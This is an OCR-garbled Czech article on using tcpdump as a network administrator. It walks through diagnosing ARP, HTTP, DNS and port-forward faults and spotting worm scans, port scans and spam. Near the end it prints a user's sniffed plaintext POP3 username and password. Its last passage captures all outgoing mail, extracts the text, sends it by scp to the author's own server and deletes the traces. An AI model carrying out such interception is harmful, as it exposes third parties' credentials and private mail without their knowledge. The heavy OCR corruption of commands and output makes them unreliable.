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Sniffing v rukou spravce sité

VloZzil/a Thorough [1], 12 Unor, 2007 - 11:51

e Networks & Protocols [2]
e Security [3]

Sniffing je ¢asto spojovan s aktivitou hackera, ktery odposlouchavéa data nic netusicich uzivateld.
Pojdme se vsak podivat na praktické ukazky, kdy sniffing pomaha resit problémy.

V nasi modelové siti je brana (router- PC s Linuxem) pfipojena rozhranim ethO k internetu a ethl do
LAN. Na ethO je verejna IP adresa kterou pridélil provider a na ethl IP 1.1.1.1 + nahozena sit
1.1.1.0/24 (PC v siti pouzivaji IP adresy 1.1.1.2 - 1.1.1.254 s defaultni branou 1.1.1.1). Rozhrani ethl
je propojeno s ostatnimi PC v siti switchem u néhoz predpokladejme, Ze je vzdy OK. IP adresu 1.1.1.2
pouziva uzivatel kterému stale néco nefunguje :) a na IP adrese 1.1.1.254 je spustén verejné
pristupny webovy server (na routeru 1.1.1.1 se provadi forward port().

Pouzitym snifferem je program tcpdump (www.tcpdump.org [4]), ktery je sou¢asti mnoha distribuci
linuxu. Jeho popis nechme stranou, avsak vysvétleni ndmi pouzitych parametr (options) je dllezité:

n - ve vypisu neprekladda IP adresy na hostname

i - oznaceni interface

port - Cislo sledovaného portu

host - v nasem pfipadé IP adresa sledovaného PC

W - v nhasem pripadé se nic nebude ukladat do mezipaméti

Tcpdump zobrazuje IP adresy a porty ve formatu ip_adresa.port.. Vypisy programu tcpdump nize jsou
zkraceny.

Nyni uz k praktickym ukazkam.

Uzivatel s IP adresou 1.1.1.2 si stéZuje, Ze mu nefunguje pripojeni k internetu a upresnuje, ze se mu
nedafi zobrazit webové stranky.

Na brané si spustime v jednom okné termindlu PING na klientovu IP adresu a ve druhém okné
tcpdump:

tcpdump -ni ethl host 1.1.1.2

V okné terminalu mdzeme vidét tento vystup:

10: 24:59. 037870 arp who-has 1.1.1.2 tell 1.1.1.1
10: 25: 00. 031154 arp who-has 1.1.1.2 tell 1.1.1.1
10: 25: 01. 031155 arp who-has 1.1.1.2 tell 1.1.1.1

Vypis znamena, ze zdrojovy pocitac s IP adresou 1.1.1.1 posila protokolem ARP pres broadcast (ke
vSem pocitac¢lim) pozadavek na ziskani MAC adresy cilového pocitace s IP 1.1.1.2, ten vsak nevraci
odpovéd. Problém je na Urovni sitové vrstvy.

Pokud se na odeslany PING (ICMP Echo request) vraci odpovéd (ICMP Echo reply) coz vypada v
tcpdump takto:

10:43:21.691169 1P 1.1.1.1 > 1.1.1.2: |CW echo request .....
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10:43:21.691499 1P 1.1.1.2 > 1.1.1.1: ICW echo reply .......
10:43:22.692784 1P 1.1.1.1 > 1.1.1.2: |CW echo request .....
10:43:22.693112 1P 1.1.1.2 > 1.1.1.1: ICW echo reply .......

... tak je potreba prozkoumat komunikaci na Urovni aplikace uzivatele. Tady uz se jedna o prenos dat
mezi TCP nebo UDP porty. Na brané (IP 1.1.1.1) si opét spustime tcpdump:

tcpdump -ni ethl host 1.1.1.2 and port 80 // vyraz "and" znamenad spojeni filtru (v nasem pfipadé
"host" a "port")

V dobé kdy je tcpdump spustén si uzivatel zkusi webovym prohlize¢em nacdist strdnku webu o kterém
vime, ze je pravé funkéni - napr. google.com.. Pokud tcpdump nezobrazi zaddna data, tak pada
podezreni na Spatné nastaveny webovy prohlizec, ktery neposild na webovy server zadné

pozadavky. Spravna komunikace by v tcpdump vypadala takto:

10: 54:34.913365 1P 1.1.1.2.37329 > 209.85.129.99.80: . ack 1431 win 8580

10: 54: 34. 913571 |1 P 209.85.129.99.80 > 1.1.1.2.37329: P 1431:2545(1114) ack 692 win
6687

10: 54: 34. 913758 | P 209.85.129.99.80 > 1.1.1.2.37329: P 2545:2702(157) ack 692 win
6687

10: 54: 34, 913827 |1 P 209.85.129.99.80 > 1.1.1.2.37329: F 2702:2702(0) ack 692 wi n 6687

Ve vypisu je dllezité pismeno "P" (PUSH), coz je hodnota tcpflags a znamena, Ze paket nese data.
Dllezité je taky to, ze jde komunikace obéma sméry. Pismeno "F" znamené ukonceni spojeni (FIN).

To Ze je jinak pripojeni v poradku si jesté mlzeme potvrdit tak, Zze se podivdme na komunikaci
uzivatelského PC s DNS serverem. Spustime si na brané tcpdump tak, aby sledoval komunikaci na
portu 53 (DNS):

tcpdump -ni ethl host 1.1.1.2 and port 53

UZivatel si "pingne" hostname stroje, k terym od posledniho spusténi PC jesté nekomunikoval
(resolver ho nema v cache - napf. security-portal.cz :)). Tcpdump by mél zobrazit tato data:

11: 07: 22. 547417 1P 1.1.1.2.41179 > 81.30.225.2.53: 6668+ A? security-portal.cz. (30)
11: 07: 22. 556693 I P 81.30.225.2.53 > 1.1.1.2.41179: 6668* 1/3/3 A 87.236.197.80 (157)

Ve vypisu je vidét, Ze se PC s IP adresou 1.1.1.2 dotazuje DNS serveru s IP adresou 81.30.225.2 na A
zdznam domény security-portal.cz.. DNS server odpovida, Ze se jednd o IP adresu 87.236.197.80..

Tim jsme dosli k tomu, Ze uzivateli nefunguje webovy prohlize¢ a kauzu nefunkéniho pfipojeni
mdlzeme uzavrit.

Podivejme se na jiny modelovy priklad. Na stroji s IP adresou 1.1.1.254 je spustén webovy
server, na brané 1.1.1.1 se provadi forward portd. Spravce webového serveru si stézuje, ze najednou
nema pripojeného zadného uzivatele a zada néapravu.

Opét pomliZe tcpdump spustény na brané tak, aby zobrazoval komunikaci tykajici se IP 1.1.1.254 a
(and) portu 80 (HTTP):

tcpdump -ni ethl host 1.1.1.254 and port 80
V takovém pripadé byvaji nejCastéji vidét tyto dva vypisy:

12: 09: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12: 09: 03. 525318 I P 192.168. 1. 254.80 > 81.50. 25.256.2533: R .....
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12: 09: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12: 09: 03. 525318 | P 192. 168. 1. 254. 80 > 81.50. 25. 256. 2533: R .....
12: 09: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12: 09: 03. 525318 | P 192. 168. 1. 254. 80 > 81.50. 25. 256.2533: R .....

Opét sledujeme hodnotu tcpflags. Pismeno "S" (SYN) znamend, Ze klient zahajuje spojeni a pismeno
"R" (RESET) Ze ho cilovy systém aktivné odmita. Dlvod je zpravidla jednoduchy - webovy server
nebo TCP Wrap je shozen.

Ml zZe se zobrazit rovnéz tento vypis:

12:19: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12:19: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12:19: 03. 525242 | P 81.50. 25. 256. 2533 > 192.168.1.254.80: S .....
12:19:03. 525242 | P 194.228.2.11. 2533 > 192.168.1.254.80: S .....
12:19:03.525242 | P 194.228.2.11. 2533 > 192.168.1.254.80: S .....
12:19:03. 525242 | P 194.228.2.11. 2533 > 192.168.1.254.80: S .....

Tady je vidét, Ze pozadavky na webovy server sice prichazeji, ale odezvy z ného neodchazi.
Dlvodem byvéa bud "vytuhly" webovy server, nebo Spatné nastaveny firewall.

Pokud by nebyla v tcpdump vidét zddnéa data, tak mlze byt problém na brané, pravdépodobné s
forwardem portd.

Dejme si dalSi modelovy priklad - na brané bézi monitorovaci engine, ktery kresli grafy.
Jednou z hodnot v grafu je rovnéz mnozstvi odeslanych a prijatych paketl. Spravce zjistil, Ze u PC s
IP adresou 1.1.1.2 doslo k prudkému narustu mnozstvi odeslanych a prijatych paketd, coz nevésti nic
dobrého. Nejcastéji se jednd o tfi pficiny - v uvedeném PC je vir ktery hleda obéti, exploit ktery
prohledava sit a hleda sluzbu kterou by mohl napadnout, nebo Zivatel skenuje porty. Opét pomUze
tcpdump spustény na brané:

tcpdump -ni ethl host 1.1.1.2

Virus nebo exploit, ktery prohledava sit a hleda zranitelnou sluzbu na portu 135:

12:26:53.959229 1P 1.1.1.2.1516 > 194.85.57.72.135: S .....
12:26:53.960435 1P 1.1.1.2.1518 > 194.85.57.71.135: S .....
12:26:53.990078 IP 1.1.1.2.1628 > 194.85.57.73.135: S .....
12:26:54.130167 IP 1.1.1.2.1416 > 194.85.57.46.135: S ... ..
12:26:54.194831 IP 1.1.1.2.1742 > 194.85.57.74.135: S ... ..
12:26:54. 317808 IP 1.1.1.2.1746 > 194.85.57.75.135: S .....

Za pozornost stoji, Ze se jedna o odesilani dat "naslepo" (hodné pokusl o zahajeni spojeni) a Ze je
cilovy port jen jeden, v nasem pripadé 135.

Skenovani portd vypada takto:

13:10:10.508508 1.1.1.2.60637 > 194.228.2.1.85: S .....
13:10:10.508582 194.228.2.1.85 > 1.1.1.2.60637: R .....
13:10:10.508509 1.1.1.2.60638 > 194.228.2.1.86: S .....
13:10:10.508591 194.228.2.1.86 > 1.1.1.2.60638: R .....
13:10:10.508510 1.1.1.2.60639 > 194.228.2.1.87: S .....
13:10:10.508598 194.228.2.1.87 > 1.1.1.2.60639: R .....

Tady je dllezité, Zze se jedna o jednu cilovou IP adresu (194.228.2.1) a rtizné cilové porty (85, 86, 87
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...). Dale je vidét, ze probihd komunikace s cilovym pocitacem, ktery "Zije" (viz tcpflags "R", tzn.
aktivné odmitané pripojeni).

Jak najit pocitac, ktery odesila SPAM?

Pokud budeme mit Stésti, tak opét pomoci tcpdump. Pfedpokladejme, ze uzivatelé v siti pouzivaji pro
odesilani posty SMTP server, ktery bézi na brané 1.1.1.1.. Na brdné si spustime:

tcpdump -ni ethl port 25 and no host 1.1.1.1 // vyraz "and no" znamend negaci, tzn. vylouceni ze
sledovani

Pokud néktery z pocitacl odesild SPAM, tak se zobrazi bohatd komunikace s IP adresama v internetu
na cilovém portu 25/TCP a zdrojova IP adresa, napr. 1.1.1.2. Tady ale jesté jisté, Ze se jednd o SPAM.
Pomdizeme si tak, ze se podivdme, komu je posta adresovana.

Nejdrive si musime ulozit veSkerou sledovanou komunikaci na disk, protoze vysledovat cilové
e-mailové adresy v paketech pfimo v redlném Case prosté nejde :)) Tcpdump spustime v tomto
formatu:

tcpdump -ni ethl host 1.1.1.2 and port 25 -s 0 -w /smtp.bin

Tcpdump tady zachytava komunikaci, ve které figuruje IP adresa 1.1.1.2 a port 25.. Zaddnéa data se
neukladaji do mezipaméti a veskerad komunikace vyhovujici pravidlim se uklddé do souboru
/smtp.bin.. Rad bych tady vysvétlil parametr -s . Tcpdump bez toho parametru zachytdvéa vzdy 80
bytl z kazdého paketu, ktery postaci k analyze sitového provozu (IP, ICMP, TCP a UDP). Pokud u
tohoto parametru pouzijeme hodnotu "0", tak tcpdump zachytava vse, co zachytit stihne.

Pokud se chceme do souboru /smtp.bin nasledné podivat, tak nedoporucuji pouzit textovy editor,
protoze se rozhodi okno termindlu. Pouzijeme program strings, ktery dokdze ze souboru vytahnout
tisknutelné znaky a zobrazit je v terminalu. My vSak necheme vidét cely obsah souboru, takze vypis
omezime programem grep na retézec "RCPT" coz znamena, Ze se nam vypiSou vsechny radky, kde
se tento fetézec nachazi. Pfikaz bude nasledujici:

strings /smtp.bin | grep RCPT
Vidét bychom mohli néco podobného:

RCPT TQO <ni uqoeaj @arthlink.conmr
RCPT TO <www. ski p@ ongf el | ow. con
RCPT TO <r.tessier@nfoteck.qc.ca>
RCPT TO <56b69. 00097124@se. com t w>
RCPT TO <rodgers@ al conj et. conp
RCPT TO <cshearer @pss. conp

RCPT TQO <asbury. edunhi m@asbury. edu>
RCPT TQ <trevel ene. coyl e@gc. con
RCPT TQ <vhunt @artners. org>

Tady uz hranic¢i podezreni s jistotou, ze ndm ze sité odchazi SPAM.

Tak a na zavér si pojdme vydloubnout ze sitové komunikace néjaké loginy. Pro pochopeni si
to opét ukazme na uzivateli s IP adresou 1.1.1.2 ktery si stézuje, Ze se nemUze pripojit k nasemu
POP3 serveru, ktery bézi na brané (IP 1.1.1.1). Spustime si tcpdump:

tcpdump -ni ethl host 1.1.1.2 and port 110 -s 0 -w /pop.bin

Nyni tcpdump ukldda do souboru /pop.bin komunikaci, ve které figuruje IP adresa 1.1.1.2 a port 110.

Pozddadme uzivatele, aby se nékolikrat pokusil pripojit k POP3 serveru (stdhl si postu). Jakmile to
udéld, tak se podivdme do souboru timto prikazem:
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strings /pop.bin | grep -E "user|pass"”

Timto prikazem si zobrazime radky ze souboru /pop.bin, které obsahuji fetézec user nebo pass.
Vysledek mUze byt nasledujici:

ZPuser zajda
hpass 3635
user zajda
pass 3635

Nyni staci porovnat prihlasovaci Udaje které pouziva klient s témi které jsou nastaveny na serveru.

No a moznosti jsou rlizné. Odposlechneme si na brané a interface které je pripojeno k poskytovateli
pripojeni k internetu vSechnu odchozi postu. Tu si ulozime do souboru smtp.bin.. Nasledné si do
souboru smtp.txt vytahneme jen tisknutelné znaky (resp. Citelny text) a tento soubor si odesleme na
svlj server:

tcpdunmp -ni ethO dst port 25 -s 0 -w /smtp.bin
strings /sntp.bin > /sntp.txt

scp /smp.txt nuj _server:/

rm/sntp.bin

rm/sntp.txt
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